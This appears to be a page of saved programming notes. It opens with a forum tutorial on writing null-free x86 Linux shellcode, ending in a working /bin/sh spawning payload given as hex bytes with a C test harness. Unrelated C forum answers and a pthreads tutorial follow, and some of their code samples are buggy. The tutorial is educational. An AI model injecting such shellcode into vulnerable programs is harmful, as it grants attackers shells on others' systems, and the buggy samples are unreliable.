FW: Byte code writing

 

Ive written a tutorial about bytecode writing, and I'm wondering what you guys think of it. Before I submit it to asta, I want to remove any inaccurities or something not explained properly.
So please, any advice? Any criticism is more than accepted

But above all, I hope you guys like it....

Bytecode Writing

For several types of exploits â€" such as buffer overflows and format bugs â€" it's useful to write bytecode. There are other ways to exploit them, such as the “return into libc” method. Though most of these vulnerabilities are exploited using bytecode, because you have a lot more power.
Bytecode is code which can be injected into programs by exploiting vulnerabilities, and when executed it will do whatever the attacker injected into the program. Oftentimes it will create a shell, either remote or with root permissions. In this case, the bytecode is called “Shellcode”.

Let's say there's a program prone to a buffer overflow by sending something over the internet. An attacker can create bytecode, and exploit the vulnerability this way to get a shell on your computer, giving him the ability to run commands on your computer.
Or if the attacker already has access to the computer, he may inject his bytecode into a program which is ran as root. His source will be ran as root, and will give him a root shell in case that's what the source was programmed to do (and it worked properly).

I will not explain how to exploit buffer overflows or how to find the proper return address. I will only explain how to write bytecode. Knowledge about buffer overflows and such is useful, but not required. However, to be able to actually use this, you must have knowledge about the vulnerability you want to exploit. Knowledge about programming is useful as well. For the sake of brevity, I am not going to explain every concept of programming. Also, this tutorial will be about writing bytecode for Linux for the x86 architecture. If you use Windows, it won't be hard to write bytecode for Windows after reading this.


First, let's start off with a simple assembly program. Open up and create a file called “shell1.asm” with the contents:
<shell1.asm >
SECTION .text
global _start
_start:
mov eax, 4; System call 4: write();
mov ebx, 1; Argument 1: file descriptor 1 (STDOUT)
mov ecx, helloworld; Argument 2: The message to write
mov edx, 15; Argument 3: The size of the message
int 80h; Execute the systemcall

mov eax, 1; System call 1: exit();
mov ebx, 0; Argument 1: The errorcode (0).
int 80h; Execute the systemcall
SECTION .data
helloworld db "Hello, world..."
<EOF>

Now compile and execute this with the following commands (you will need the program “nasm” to do this):
<commands>
$ nasm -f elf shell1.asm
$ ld shell1.o
$ ./a.out
Hello, world...$
</commands>

As you see, it shows the “Hello, world...” message. However, this is a long way from proper bytecode. This can't be injected into a program yet for several reasons. But before I get to that, let me explain how this program works.
One note before I explain this: everything behind ';' are comments. These are ignored, and only readable when you have the source file. I won't add those here, because it will be completely explained anyway. Comments just make the file more readable.

SECTION .text
This indicates the start of the code section. This section just contains all of the code of the program.

global _start
This will make the label “_start” global, so that it can be used as begin point. See the next line.

_start:
This is a label with the name “_start”. This is the location where the execution of your program will begin. The command under this, will be the first to be executed.

mov eax, 4
Mov copies the second operand (after the comma), to the first operand (before the comma). So this copies the value “4” into the register eax. Registers are inside the processor. There are several registers. They either store a byte, a word, or a double word (dword). There are several uses for them. They can be used for storing something for a little while. This is useful, because reading or writing to registers is a lot quicker than reading or writing to the memory (since it's in the processor itself).
These registers are called “General Purpose” registers. You can modify them, although there are also registers you can not modify without some nifty tricks. At this point, only general purpose registers are important, so I won't cover the others.

A byte are 8 bits. One bit is either one or zero, so there are 2 ^ 8 = 256 possible values in a byte. Since the first possible value is zero and not one, the maximum value of one byte is 255. The registers which can store one byte are called: al, bl, cl, dl, ah, bh, ch and dh.
There are also registers that store one word. This are two bytes, thus 16 bits. There are 256 ^ 2 = 2 ^ 16 = 65536 possible values, so the maximum value is 65535. The registers which can store words are called: ax, bx, cx, dx, si, di, bp and sp.
A double word (or dword) are two words, thus 4 bytes, thus 32 bits. This means there are 65536 ^ 2 = 256 ^ 4 = 2 ^ 32 = 4294967296 values possible. So the highest number which can be stored in a dword-register is that number minus one, 4294967295. The registers that can store dwords are called: eax, ebx, ecx, edx, esi, edi, ebp and esp.

This doesn't, however, mean there are 24 general purpose registers. It seems that way, but it's not true. This is because one register is a part of another. For example, ax are the low two bytes of the register eax.
So if the register eax contains the four bytes “AA BB CC DD” (those values are hex, you should know what hex is), the register ax would be “CC DD”. When you modify this register, ax, in for example the bytes “BB AA”, eax would change as well, into “AA BB BB AA”.
The register ax are the low two bytes from eax, meaning they are the least significant two bytes. There is no register which is the high two bytes from eax, thus the most significant.
This is demonstrated below.
< Image here isn't available in this version >

The same holds true for ebx with bx, bh and bl, for ecx with cx, ch and cl and for edx with dx, dh and dl.
The remaining dword-registers are esi, edi, ebp and esp. The remaining word-registers are “si, di, bp and sp”. As you might have guessed, si are the low word (two bytes) of esi (the least significant), di the low word of edi, bp the low word of ebp and sp the low word of esp.
Keep in mind, if you change one, you change the other(s).

Now back to the source.
mov eax, 4
The eax register will become 4. But why four? To explain this, I must first explain a little bit more about bytecode.

Bytecode must be self-sufficient. You can not call a C function easily, making the bytecode work wherever you put it. For this, we need another way to execute our commands.
There is another way to execute the main C functions. This is done by “interrupt 80h”. Interrupts can be compared to functions; the source gets executed belonging to the 80h interrupt, and then it will return the normal path of the program.
Interrupt 80h is the main Linux interrupt. When you call this, you can do a lot of things. However, you must specify what exactly you want to do. Interrupt 80h has over 250 possible functions it can execute.

First we should decide what we actually want. We want to write something to the screen first. Now we need a list of possible actions of interrupt 80h. There is such a list, and it's in the file /usr/include/asm/unistd.h. You can view them all by using:
<command>
$ cat /usr/include/asm/unistd.h |grep “define __NR_”
</command>

The reason this works is just the way the file is made.
You will see the list of all possible actions, all in the following format:
#define __NR_<funcname> <funcid>
Where <funcname> is the name of the function, and <funcid> the id. Have a look at the list. We want to write to the screen. We'll use “write” for that:
#define __NR_write 4

The function id is 4. We need interrupt 80h to know this. To let it know this, we have to move it into “eax”.

This explains “mov eax, 4”. When interrrupt 80h is called, it will execute the “write” C function.
Let's move on to the next line.

mov ebx, 1
We are calling the write(); C-function. Let's have a look how to use this function. Execute the following command:
<command>
$ man 2 write
</command>
This will show the manual for “write”. The two indicates it must look for a systemcall.

Note it's definition:
ssize_t write(int fd, const void *buf, size_t count);
There are three parameters, and we need to specify them as well. The parameters are:
fd: The file descriptor to write to. We want to write to the screen. This is STDOU (Standard output). The number of this file descriptor is 1. So we want the first parameter to be 1.
buf: A pointer to the text we want to show on the screen. We want to show the message “Hello, world...”, so it must be a pointer to a place in the memory with that data.
Count: The amount of bytes we want to write to the screen. We want to write 15 bytes to the screen (the length of the message “Hello, world...”), so this parameter must be 15.

So in C, we would simply call:
write(1, “Hello, world...”, 15);

Now we need a way to specify those parameters. In assembly, using interrupt 80h, this is done with ebx, ecx and edx. Ebx is the first parameter, ecx the second, and edx the third.

Since we want the first parameter to be one, we need to move one into ebx.
This is what “mov ebx, 1” does.


mov ecx, helloworld
In this case, helloworld is a pointer. This will be defined in the last line. This pointer points to a location in the memory, containing the string “Hello, world...”. This pointer is moved into ecx, the second parameter to the write function.

mov edx, 15
The third parameter, the length of the string to write, must be put in edx.


At this point, we are done setting up the registers. We can call interrupt 80h, and it will understand exactly what we want to do. We call interrupt 80h with the following line:
int 80h
Done. The text appears on the screen (the h indicates the number is hexadecimal).

Though we are not done yet. We need to exit the program, or else we will get error message because it's trying to run malicious data.


Have a look again at the list of available commands with the 80h interrupt. Note the first line:
#define __NR_exit 1
The exit system call. Have a look at it by typing the command “man 2 exit”.

This one only requires one parameter. The status. Let's just use status 0, indicating no error.
The id of the exit systemcall is 1, so we must move that in eax. So that's what we do first:
mov eax, 1
Next, we need to move the status code into the first parameter register, ebx:
mov ebx, 0

Now we're done again, and we can call interrupt 80h. This will terminate the program:
int 80h


We have two more lines.
SECTION .data
This will mark the end of the section with the code (see the first line), and mark the section with the data.

helloworld db "Hello, world..."
This puts the text “Hello, world...” into the memory. This will be done in the size of bytes (db = define byte, dw = define word, dd = define dword). A pointer to this string will be put in the value “helloworld”. This pointer will be put into a register, so that it will print that text, hence the line “mov ecx, helloworld”.



We have a working program now, but not yet a bytecode. There are two more problems in this code, which have to be solved.

The first problem is the pointer to the string, “Hello, world...”. This won't work in bytecode because the address of it is calculated during runtime.
There are multiple solutions for this, but the most popular â€" and far most the best one â€" is the stack.

The stack is a stack of data, stored in double words. You can “push” a value in it, and then “pop” the same value out of it again. The system it uses is LIFO (Last In First Out), sometimes called FILO (First In Last Out).
When the program starts, the register ESP will be set to the highest place in memory of the stack. This is a place it may not write to. When the push command is used to write something to the stack, esp is first decreased by 4 bytes (or one dword). Then the data you want to push on the stack is stored on the location ESP points to.

The x86 architecture uses so called little-endian. This means the bytes are stored in reverse order. So “Hello, world...” is stored as “...dlrow ,olleH”.
So after pushing all this data on the stack, ESP is the pointer to the string “Hello, world...”. We can now use this as pointer for write by moving it into ecx.

Let's convert it to hexadecimal first. We want to push “...dlrow, olleH” (since it's stored in reverse), but we need the hexadecimal equivalent first. Use “man ascii” to get a list of characters. Search every character one by one, and look on the column left to it. The result will be:
2E 2E 2E 64 6C 72 6F 77 20 2C 6F 6C 6C 65 48

Now we need to push this data on the stack. Note that you are pushing dwords, so you must use 4 hexadecimal values after each other, and indicate this is a hex value. You can indicate this by either appending an 'h' to it, or prepending '0x' in front of it. I will use this last one.
Also,the last thing to push â€" the first characters â€" must always be four characters. The next example is wrong:
push 0x2E2E2E64
push 0x6C726F77
push 0x202C6F6C
push 0x6C6548

Why is this wrong? Remember it pushes dwords. The last value, however, isn't a dword. A 00-byte will be prepended, actually pushing “0x006C6548”. Since these are the first few characters, this will be shown. We must use the 00-byte at the end of the string, which will be ignored anyway, because we specified the length of the string.
Here's the right way to push the string on the stack:
push 0x2E2E2E
push 0x646C726F
push 0x77202C6F
push 0x6C6C6548

The first line is the same as “push 0x002E2E2E”.
Now, since ESP points to the last thing pushed on the stack, ESP is a pointer to the string “Hello, world...”. By moving that into ecx, it will get a pointer without using “define byte” (db):
<shell2.asm>
BITS 32
SECTION .text
global _start
_start:
; Push the string “Hello, world...” on the stack
push 0x2E2E2E; Push “...”
push 0x646C726F; Push “dlro”
push 0x77202C6F; Push “w ,o”
push 0x6C6C6548; Push “lleH”

mov eax, 4; System call 4: write();
mov ebx, 1; Argument 1: file descriptor 1 (STDOUT)
mov ecx, esp; Argument 2: The message to write
mov edx, 15; Argument 3: The size of the message
int 80h; Execute the systemcall

mov eax, 1; System call 1: exit();
mov ebx, 0; Argument 1: The errorcode (0).
int 80h; Execute the systemcall
<EOF>

I added “BITS 32” this time. This indicates it's a 32 bits file. We need this later.
There is, however, one more problem we need to fix. The data (including the bytecode) is almost always copied with string functions, such as “strcpy”.
This will copy the data until it reaches a 00-byte. This indicates the end of the string. First, let's compile our bytecode:
<command>
$ nasm shell2.asm
</command>

This creates a program which is not executable. It only contains the binary code. Great for us; that's exactly what we want. Now let's have a look at the data inside shell2:
<command>
$ hexdump -C shell2
00000000 68 2e 2e 2e 00 68 6f 72 6c 64 68 6f 2c 20 77 68 |h....horldho, wh|
00000010 48 65 6c 6c b8 04 00 00 00 bb 01 00 00 00 89 e1 |Hell............|
00000020 ba 0f 00 00 00 cd 80 b8 01 00 00 00 bb 00 00 00 |................|
00000030 00 cd 80 |...|
00000033
</command>

All those 00-bytes will be seen as the end of the string. This isn't allowed, we must remove all those 00-bytes. First let's look at the source of this problem.

One of the most obvious sources is:
mov ebx, 0
This moves 0 into ebx. When this is assembled, this will become a 00-byte. However, since we are moving a dword of data, “mov ebx, 0” will actually become “mov ebx, 0x00000000”. Four 00-bytes will be compiled in. We need another way to zero this ebx register.

Xor is a logical operator. It takes two “operands”, and they will be XOR'ed. The results of XOR are:
0 xor 0 = 0
1 xor 0 = 1
0 xor 1 = 1
1 xor 1 = 0
Now if you xor something with itself, the result is always 0. There, we can xor the ebx register with itself to set it to zero:
xor ebx, ebx
Those are four 00-bytes less. But there are more.

push 0x2E2E2E
It pushes a dword, so it's modified into “0x002E2E2E”. Another 00-byte. The useful thing is, this is the 16th byte of the string. We only print 15 bytes, and the rest will be ignored. So we can change it into anything we want. We could change it into:
push 0x2E2E2E2E
And another 00-byte is gone.

mov eax, 4
This one is a bit harder. This will be compiled into “00000004”. We need to remove those 00-bytes. But note that if eax equals 0, “mov al, 4” does exactly the same thing as “mov eax, 4”. But you only copy one byte by using “mov al, 4”, so this won't be changed into “00000004”, but just remain “04”.
So if you just zero out eax first, without any 00-bytes:
xor eax, eax
And then change the low byte into four:
mov al, 4
We got the same result, without 00-bytes.

mov ebx, 1
We can do this one the same way as the last one. However, there's a quicker way. If we just zero out ebx first:
xor ebx, ebx
And then use another command, “inc”, to increase ebx with one, we also get the same result:
inc ebx
And this will be compiled slightly smaller than using mov to the low-byte.

You can do the same with the rest. The result will be shell3.asm:
<shell3.asm>
BITS 32
SECTION .text
global _start
_start:
; Push the string “Hello, world...” on the stack
push 0x2E2E2E2E; Push “....” (first '.' is ignored)
push 0x646C726F; Push “dlro”
push 0x77202C6F; Push “w ,o”
push 0x6C6C6548; Push “lleH”

; System call 4: write();
xor eax, eax; Set eax to 0
mov al, 4; Move 4 to the low byte of eax

; Argument 1: file descriptor 1 (STDOUT)
xor ebx, ebx; Set ebx to 0
inc ebx; Increase ebx to 1

mov ecx, esp; Argument 2: The message to write

; Argument 3: The size of the message
xor edx, edx; Set edx to 0
mov dl, 15; Move 15 in the low byte of edx

int 80h; Execute the systemcall

; System call 1: exit();
xor eax, eax; Set eax to 0
inc eax; Increase eax to 1

; Argument 1: The errorcode (0).
xor ebx, ebx; Set ebx to 0

int 80h; Execute the systemcall
<EOF>

Let's test it first, and then look at whether there are any 00-bytes remaining:
<commands>
$ nasm -f elf shell3.asm
$ ld shell3.o
$ ./a.out
Hello, world...$ nasm shell3.asm
$ hexdump -C shell3
00000000 68 2e 2e 2e 2e 68 6f 72 6c 64 68 6f 2c 20 77 68 |h....horldho, wh|
00000010 48 65 6c 6c 31 c0 b0 04 31 db 43 89 e1 31 d2 b2 |Hell1...1.C..1..|
00000020 0f cd 80 31 c0 40 31 db cd 80 |...1.@1...|
0000002a
</commands>

As you can see, all the 00-bytes are gone! We had to recompile it again, because “ld” puts crap in it we don't want as bytecode. We have to recompile it just by typing “nasm shell3.asm”. This will create a file “shell3”. It's not executable, but it only contains the data we need.

Let's test the bytecode. As seen above, the hexadecimal data of our bytecode is:
68 2e 2e 2e 2e 68 6f 72 6c 64 68 6f 2c 20 77 68 48 65 6c 6c 31 c0 b0 04 31 db 43 89 e1 31 d2 b2 0f cd 80 31 c0 40 31 db cd 80

We will make a C-file to test it. You will need to put \x before every of the numbers, to indicate it's hexadecimal to the C compiler, and remove the spaces:
\x68\x2e\x2e\x2e\x2e\x68\x6f\x72\x6c\x64\x68\x6f\x2c\x20\x77\x68\x48\x65\x6c\x6c\x31\xc0\xb0\x04\x31\xdb\x43\x89\xe1\x31\xd2\xb2\x0f\xcd\x80\x31\xc0\x40\x31\xdb\xcd\x80

Here's the file to run this with:
<testshell.c>
char* bytecode =
"\x68\x2e\x2e\x2e\x2e\x68\x6f\x72\x6c\x64\x68\x6f\x2c\x20"
"\x77\x68\x48\x65\x6c\x6c\x31\xc0\xb0\x04\x31\xdb\x43\x89"
"\xe1\x31\xd2\xb2\x0f\xcd\x80\x31\xc0\x40\x31\xdb\xcd\x80";

int main()
{
void (*f)() = (void*)bytecode;

f();
}
<EOF>

This will create a function, f, whose address is the bytecode. When calling “f();”, it will be executed. Here's how to actually run this:
<commands>
$ make testshell
$ ./testshell
Hello, world...
</commands>



Congratulations! You have made a bytecode.
However, why would you want to execute a write on the screen? That's pretty useless.






Now let's write an actual shellcode. All it has to do is execute “/bin/sh”. Have a look at the interrupt 80h list again, and find the interrupt we can use for this:
#define __NR_execve 11

Look at the manual (“man 2 execve”).
int execve(const char *filename, char *const argv[], char *const envp]);


Think about what we have to do (don't forget to read the manual properly).
What we have to do:
- Set eax to 11, to specify the execve call.
- Put a pointer to the file to run in ebx. Make sure it ends with a 00-byte to specify the end of the filename.
- Create a pointer to the pointer of the filename, and make sure there are four 00-bytes after it to specify the end of the argv array. Put this in ecx.
- Put a pointer to four 00-bytes to specify the end of the envp structure.

The best way is to put this all in the stack:
<shell4.asm>
BITS 32
SECTION .text
global _start
_start:
; First push a 0-dword to the stack, to specify the end of the
; string /bin//sh
xor eax, eax; Set eax to 0
push eax; Push this

; Push /bin//sh to the stack
; We use two slashes because we MUST push 4 bytes a time. And
; this will work fine...
push 0x68732F2F; Push "hs//"
push 0x6E69622F; Push "nib/"

; Copy the pointer of this to ebx: the program to run
mov ebx, esp; Set argument 1

; Push a 00-dword (4 00-bytes) to indicate the end of the array
; eax is still 0 (done before)
push eax; Push the 0-dword

; The pointer to this dword is the last argument, since we don't
; want any environment pointer.
mov edx, esp; Set argument 3

; Push the pointer to the /bin//sh string
push ebx; Push the pointer

; The pointer to this is the argument array, argument 2
mov ecx, esp; Set argument 2

; Now we have to specify we want call 11, execve
; eax is 0 already
mov al, 11; Set eax to 11

int 80h; Run the interrupt to execute it


; Exit the program
xor ebx, ebx; Use parameter 0
mov al, 1; Set eax to 1 (exit call)
int 80h; Execute it
<EOF>

You should understand this by now.

Now try to run it again:
<commands>
$ nasm -f elf shell4.asm
$ ld shell4.o
$ ./a.out
sh-2.05b$
</commands>

We have a shell! This isn't root, because the code isn't ran as root. Let's first check it for 00-bytes:
<commands>
$ nasm shell4.asm
$ hexdump -C shell4
00000000 31 c0 50 68 2f 2f 73 68 68 2f 62 69 6e 89 e3 50 |1.Ph//shh/bin..P|
00000010 89 e2 53 89 e1 b0 0b cd 80 31 db b0 01 cd 80 |..S......1.....|
0000001f
</commands>


No 00-bytes. Now let's test it as C-file:
<shelltest.c>
char* shellcode =
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e"
"\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80\x31"
"\xdb\xb0\x01\xcd\x80";

int main()
{
void (*f)() = (void*)shellcode;

f();
}
<EOF>

<commands>
$ make shelltest
$ ./shelltest
sh-2.05b$
</commands>


One problem here, though. Most programs temporarily drop their rights, so that they can recover them later. Our shellcode must first get those rights back. It won't harm to do it when the rights aren't dropped, but it won't work if you don't do it when the rights are dropped. So you should always do it.

The rights must be recovered using the function setreuid();. Try to make this yourself, you should be able to do this. I've gotten you far enough, and I don't want script-kiddies to steal everything here.

And the rest should be pretty easy, as long as you know C.

Main() { int i=5; printf("%d%d%d%d%d%d",i++,i--,… }what will be the answer and give the reason plz?

very ambigous code, and i am not sure it runs the same way for all compilers...

first, you have six %d but you put just 4 extra args, this means that last two %d will give you random rubbish.

the output of my gcc says:
4 5 5 5 (rubbish)

if we think the args are evaluated from left to right, we have:
first arg: i++, i is 5, so first %d should be 5 (it is not!), then i becomes 6; next one should give 6 in output (since there's a post decrement) and then i becomes 5 again...

but as i've said, the first is not 4...

then, thinking about stack order, the last is the first evaluated? then the last %d should give 4... and this is false too...

so... let me take a look at the code,

[....
part that is not interesting... prepare the stack, local vars and so on...]

mov DWORD PTR [%ebp-8], 5

this one initialize what for us is the "int i" to 5

sub DWORD PTR [%ebp-8], 1

what's up... it executes a "--i" first...


add DWORD PTR [%ebp-8], 1

then it execute a "++i" !! nothing happened! still i==5!

mov %edx, DWORD PTR [%ebp-8]

now save the i value into edx reg, at this time i is 5 (so edx==5)

sub DWORD PTR [%ebp-8], 1

execute a "i--", now i==4

mov %ecx, DWORD PTR [%ebp-8]

save i into ecx regs (i.e. ecx==4)

add DWORD PTR [%ebp-8], 1

execute a "i++", now i==5 again

mov DWORD PTR [%esp+24], 0
mov DWORD PTR [%esp+20], 0

this is a fix i added (my printf was with two extra arg); it put these last two args on the prepared stack

mov %eax, DWORD PTR [%ebp-8]

get i into eax... (remember now is 5)

mov DWORD PTR [%esp+16], %eax

put it on the stack (this is the fourth argument, look at +16)

mov %eax, DWORD PTR [%ebp-8]
mov DWORD PTR [%esp+12], %eax

again the same value (and redundant code) into third position on the stack for arguments.

mov DWORD PTR [%esp+8], %edx

now it gets the saved value: edx==5 as second argument

mov DWORD PTR [%esp+4], %ecx

and ecx was 4 as first argument...

mov DWORD PTR [%esp], OFFSET FLAT:.LC0

put the template as first argumenti

call printf

print it....

[... final stuffs ...]

now let us interpret what's going on: simply this teach us (and we should have known before!?) that arguments are taken from right to left and pre-increment/decrement are executed before any evaluation of the "printf(...)"; so first --i is executed... the ++i is executed... this makes the "i" keep the value of 5.

the pre-inc/dec are executed before "real" evaluation of the statement (so to say), ... so at then end of the game instead of third and fourth argument we have simply the value of "i", that is still 5 after the evaluation of i++ and i--.

in fact the next step is the evaluation of i-- (second arg); since this is a post-dec, first the value of i (5) is taken. after this i is 4.
then the first extra arg is evaluated; this is a post-inc, so first the value of i (4) is taken... ater this i is again 5. and this is the value we shall have for the third and fourth.

maybe i have made it harder than it is... hope you get something interesting from this.

double pointers as function arguments.. memory leak

Hi everyone.. Suppose i have a function :

void foo(int ind,float **ptr1,float **ptr2) that allocates memory using malloc .. - double pointers are much morein reality-
I want to use this pointers in other functions too, but when i call them(functions) in main() .. memory leak message appears ..
Is there a way to stop this without the usage of global variables


void foo( char * ptr)

{

ptr = malloc(255); // allocate some memory

strcpy( ptr, "Hello World");

}


int main()

{

char *ptr = 0;

foo( ptr );

printf("%s\n", ptr);

free(ptr);

return 0;

}

The answer

void foo( char * ptr)

"The problem is that ptr is a local object which has scope only within the function foo(). So the memory allocated with malloc() will be tossed into the bit bucket as soon as foo() returns to main(), and that will cause a memory leak. Inside function main() the value of ptr will still be 0 after foo() returns and the next line, printf(), will probably crash because the second argument (ptr) is a NULL pointer. "

So in the above example suppose that we have more than one double pointers in the function.. and we can t use return or gloabal variables


RE:


You need to use double pointer there so that foo() can allocate memory for the pointer in main(). You can do the same with as many other pointers as you like, it is not limited to just one pointer. This solves the problem is returning more than one string at the same time.


void foo( char ** ptr)
{
*ptr = malloc(255); // allocate some memory

strcpy( *ptr, "Hello World");

}

int main()

{
char *ptr = 0;
foo( &ptr ); // <<< pointer to a pointer

}


void main()
{
float *u_trn; // float **u_trn
mem_alloc_main(0,&u_trn); //(0,u_trn)
.
.
void normal_val(&u_trn); //(u_trn)
.
.
mem_alloc_main(1.&u_trn);
}

void mem_alloc_main(int ind,float **u_trn)
{
.
.
u_trn=(float **)calloc((kf_trn+max_del+1),sizeof(float*)); assert(u_trn!=NULL);
for (i=0;i<=(kf_trn+max_del);i++)
{
u_trn[i]=(float *)calloc((con_inp+2),sizeof(float)); assert(u_trn[i]!=NULL);
}

}

void normal_val(float **u_trn)
{
for (k=1;k<=(kf_trn+max_del);k++)
{
for (j=1;j<=con_inp;j++)
{
fscanf( fin1,"%f",&inp );
inp=((upper-lower)*inp+maxi_in_trn[j]*lower-mini_in_trn[j]*upper)/(maxi_in_trn[j]-mini_in_trn[j]);
--> u_trn[k][j]=inp;
}
}

RE:

If you want mem_alloc_main() to allocate a two-dimensional array of floats, then you have to declare the parameter with three stars, not two. The rule is that mem_alloc_main() needs to have a pointer to a two-dimensional pointer. What you have done is to pass a pointer to a one-dimensional pointer, but allocating it as if it were a two dimensional pointer.

Also: C programs do not require the void* return values to be typecast.

void mem_alloc_main( float ***ptr)

{

*ptr = calloc((kf_trn+max_del+1),sizeof(float*));

}

int main()
{
float **arry = 0;
mem_alloc_main( &arry );


}


another way
void mem_alloc_main(int ind,float ***u_trn)
{
float** ay;
ay = (float **)malloc(10 * sizeof(float*));
for(int i = 0; i < 10; i++)
{
ay[i] = (float*)malloc(10*sizeof(float));
for(int j = 0; j < 10; j++)
ay[i][j] = (float)rand();
}
*u_trn = ay;
}

int main()
{
srand((unsigned int)time(0));
float** arry = 0;
mem_alloc_main(0, &arry);
for(int i = 0; i < 10; i++)
{
for(int j = 0; j < 10; j++)
{
printf("%0.2f ", arry[i][j]);

}

printf("\n");
}

}

Checking weather given value is under integer range or not

#include<stdio.h>

 

int main(int argc, char *argv[]) {

 

 int i=0;

 int id = 0;

 char temp_name[31];

 char *ch=argv[1];

 char *temp_ch=argv[1];

 

   printf("input is ch:%s..argv[1]:%s\n",ch,argv[1]);

   while (*temp_ch != NULL) {

     id = (id * 10) + (*temp_ch- '0');

     printf(" temp_ch: %c and id:%d \n",*temp_ch,id);

     temp_ch++;

   }

   sprintf(temp_name,"%d",id);

   printf("temp_name : %s\n",temp_name);

   if( (id < 0) || (strcmp(temp_name,ch) != 0)){

      printf("Value enterd is out of integer range \n");

      return 0;

   }

 

   //i = atoi(argv[1]);

 

   //printf("i=%d and passed arg is:%s \n",i,argv[1]);

 

 return 0;

 

}

creating static and shared lib in linux

http://www.yolinux.com/TUTORIALS/LibraryArchives-StaticAndDynamic.html

 

reverse of string without using extra memory or swaping

http://www.allinterview.com/showanswers/16431.html

 

 

/* Following code does as intended */

#include <stdio.h>

 

#define REVERSE_STRING(X) Rstring(X, *(X), strlen(X)-1)

 

void Rstring( char *str, char c, int index )

{

        if( index != 0 )

               Rstring( str, *(str+(strlen(str))-index),

index-1);     

        *(str+index) = c;             

}

 

int main( void )

{

        char str[] = "Dharmendra Patel";

        printf("Actual string is [%s]\n", str);

        REVERSE_STRING(str);

        printf("Reversed string is [%s]\n", str);

        return 0;

}

count no of bits set in an integer in o(1)

Solution 1:

algorithm (Kernighan's?)
The "slow and obvious" solution:

UINT32 Count(UINT32 n)
{
    UINT32 c = 0;
    for( ; n != 0; n >>= 1 )
    {
        c += n & 1;
    }
    return c;
}

Sol 2:  --o(n)

int num_bits_set(int num)
{
    int count = 0;
    while(num)
    {
          num = num & (num - 1);
          count++;
    }
    return count;
}

Sol 3:
--------
har arr[256] = {0, 1, 1, 2, 1, 2, 2, 3, 1, ...........};

int
count_set_bits (int num)
{
    char byte0, byte1, byte2, byte3;
    byte0 = num & 0xff;
    byte1 = (num & 0xff00) >> 8;
    byte2 = (num & 0xff0000) >> 16;
    byte3 = (num & 0xff000000) >> 24;

    return (arr[byte0] + arr[byte1] + arr[byte2] + arr[byte3]);
}

AND


The one true method of counting bits comes from MIT Hakmem 169 (assuming 32-bit int):

inline UINT32 Count(UINT32 n)
{
    UINT32 c = n;
    c -=  (n>>1) & 033333333333;
    c -=  (n>>2) & 011111111111;
    c = (c + c>>3) & 030707070707;
    return c % 63;
}


http://discuss.techinterview.org/default.asp?interview.11.578648.14


--
Siva

Multithreaded Programming :: Improving Performance through Threads

http://randu.org/tutorials/threads/

Introduction

Most code written today is sequential. What do we mean by the term sequential or serialized?  Simply put, code is executed one instruction after the next in a monolithic fashion, with no regard to the many possible resources available to the program. Overall performance can be serverely degraded if the program performs a blocking call. 

Why is it that most programs are sequential? One guess could be the relative dominance of uniprocessing machines available to programmers. Multithreading a program on a uniprocessor machine in most cases does not yield enough performance gains to merit days, weeks, or months worth of work to retrofit old code or build new codebases from scratch utilizing multiple threads. Another guess is that humans think in a sequential manner. Parallelizing our thoughts does not come naturally or is it an easy task. 

However, with the increasing popularity of machines with Symmetric Multi-Processors (SMP) thanks to multi-core processors today, programming multi-threaded code is a skill worth learning. 

We will dive into the world of threads with some a little bit of "theory" first. We will examine thread synchronization primitives and then a tutorial on how to use POSIX pthreads. Finally, we will finish off with thread performance and a brief overview of multiprocess programming.

What is a thread?

Part I :: Definition

Isn't that something you put through an eye of a sewing needle?

Yes.

How does it relate to programming then?

Think of sewing needles as the CPUs (or LWPs) and the threads in a program as the fiber. If you had two needles but only one thread, it would take longer to finish the job than if you split the thread into two and used both needles at the same time. Taking this analogy a little further, if one needle had to sew on a button (blocking I/O), the other needle could continue doing other useful work even if the other needle took 4 hours to sew on a single button. If you only used one needle, you would be ~4 hours behind!

Now that we have a real world analogy, let's establish something more concrete. A thread is a sequence of instructions that can be executed in parallel with other threads [wikipedia.com]. They are not processes, but rather lightweight threads of execution. Threads of a program are not full-blown processes, but are smaller portions of the process running concurrently (or in parallel). Hence, the term lightweight is used.

Part II :: Operating System Support

You cannot expect a multithreaded program to run on a kernel that does not support threads. Fortunately most modern Operating Systems support threads, either with their own thread library or through POSIX pthreads. Sun Solaris, FreeBSD, Linux, AIX, HP-UX, IRIX, and Windows NT, just to name a few, support multithreaded programs. However, each Operating System uses a different technique to support threads. 

Before we can dive into the details of how threads are supported, we need to get familiarized with a few terms.

• Lightweight Process (LWP) can be thought of as a virtual CPU where the number of LWPs is usually greater than the number of CPUs in the system. Thread libraries communicate with LWPs to schedule threads. LWPs are also sometimes referred to as kernel threads.
• X-to-Y model. The mapping between LWPs and Threads.
• Contention Scope is how threads compete for system resources (e.g. scheduling)
• Bound threads have system-wide contention scope, in other words, these threads contend with other processes on the entire system (and thus are scheduled by the kernel)
• Unbound threads have process contention scope, in other words, these threads are scheduled by the library onto available LWPs

Solaris uses the many-to-many model. All CPUs are mapped to any number of LWPs which are then mapped to any number of threads. The kernel schedules the LWPs for slices of CPU time. 

Linux uses the one-to-one model. Each thread is mapped to a single LWP. Why is this approach favored in Linux over the many-to-many model? Linux LWPs are really lightweight and thus LWP creation is not as expensive as it is in Solaris. Another bonus to make your program multithreaded rather than multiprocess in Linux is that the scheduler (2.4) gives a 1 point boost to "processes" scheduled which are in the same thread family as the currently running process. 

Moreover, creating bound or unbound threads can greatly impact performance of your multithreaded program. There is no general rule when it comes to using either one. Each scenario demands a thorough analysis to select the right thread type for the job.

Part III :: Other Terms

• Thread-safe means that the program protects shared data, possibly through the use of mutual exclusion
• Reentrant code means that a program can have more than one thread executing concurrently
• Async-safe means that a function is reentrant while handling a signal (e.g. can be called from a signal handler)
• Concurrency vs. Parallelism - They are not the same! Parallelism is a subset of Concurrency. Parallelism implies simultaneous running of code (which is impossible on uniprocessor machines) while Concurrency implies that many tasks can run in any order and possibly in parallel.

Part IV :: Threads Rule!

Yes, threads are great... for the right tasks! Don't waste your time multithreading a program that isn't worth multithreading. Sometimes just plain, sequential code can do the job just right.

Thread Design Patterns

Now that we have a little basic background on threads, let's discuss how we can correctly use threads that best suits our task at hand.

Pattern I :: Boss/Worker

One thread dispatches other threads to do useful work which are usually part of a worker thread pool. This thread pool is usually pre-allocated before the boss begins dispatching threads to work. Although threads are lightweight, they still incur overhead when they are created. This is the classic and one of the more popular thread models.

Pattern II :: Peer (Workcrew)

